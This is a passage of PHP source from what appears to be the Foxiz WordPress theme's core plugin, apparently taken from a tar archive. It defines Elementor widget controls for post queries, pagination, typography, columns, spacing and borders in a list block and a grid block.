); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '3', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); if ( 'rb-etemplate' === get_post_type() ) { $this->start_controls_section( 'archive-builder-section', array( 'label' => esc_html__( 'Archive Builder - Global Query', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'archive_builder_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_unique_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_unique_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_available_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_available_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_pagination_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_pagination_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_total_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_total_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_admin_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_admin_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'query_mode', array( 'label' => esc_html__( 'Query Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::query_mode_description(), 'options' => array( '0' => esc_html__( 'Use Custom Query (default)', 'foxiz-core' ), 'global' => esc_html__( 'Use WP Global Query', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_control( 'builder_pagination', array( 'label' => esc_html__( 'WP Global Query Pagination', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::archive_pagination_description(), 'options' => Options::archive_builder_pagination_dropdown(), 'default' => 'number' ) ); $this->end_controls_section(); } $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for a content section or full width section with 2 columns.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_responsive_control( 'featured_width', array( 'label' => esc_html__( 'Custom Featured Width', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet' ), 'description' => esc_html__( 'Input custom width values (px) for the featured image. Leave blank to set it as the default.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .p-list-1 .list-feat-holder' => 'width: {{VALUE}}px; max-width: {{VALUE}}px;', ), ) ); $this->add_control( 'featured_position', array( 'label' => esc_html__( 'Featured Position', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::featured_position_description(), 'options' => Options::featured_position_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::standard_entry_category_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta_bar', array( 'label' => esc_html__( 'Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_meta_description(), 'options' => Options::entry_meta_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => '' ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown(), 'default' => '0', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '0', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt', array( 'label' => esc_html__( 'Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_description(), 'options' => Options::excerpt_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4 ) ), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2, 3, 4 ) ), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'list_gap', array( 'label' => esc_html__( '1/2 Featured Spacing Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::list_gap_description(), 'devices' => array( 'desktop', 'tablet' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--list-holder-spacing: {{VALUE}}px; --list-holder-margin: -{{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown(), 'default' => '0' ) ); $this->add_control( 'middle_mode', array( 'label' => esc_html__( 'Vertical Align', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::middle_mode_description(), 'options' => Options::vertical_align_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_list_1' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_list_1( $settings ); } } }elementor/grid-2.php000064400000075506147206624460010363 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '3', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); if ( 'rb-etemplate' === get_post_type() ) { $this->start_controls_section( 'archive-builder-section', array( 'label' => esc_html__( 'Archive Builder - Global Query', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'archive_builder_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_unique_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_unique_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_available_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_available_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_pagination_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_pagination_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_total_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_total_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_admin_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_admin_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'query_mode', array( 'label' => esc_html__( 'Query Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::query_mode_description(), 'options' => array( '0' => esc_html__( 'Use Custom Query (default)', 'foxiz-core' ), 'global' => esc_html__( 'Use WP Global Query', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_control( 'builder_pagination', array( 'label' => esc_html__( 'WP Global Query Pagination', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::archive_pagination_description(), 'options' => Options::archive_builder_pagination_dropdown(), 'default' => 'number' ) ); $this->end_controls_section(); } $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::extended_entry_category_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta_bar', array( 'label' => esc_html__( 'Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_meta_description(), 'options' => Options::entry_meta_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => '' ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown(), 'default' => '0', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '0', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt', array( 'label' => esc_html__( 'Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_description(), 'options' => Options::excerpt_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); 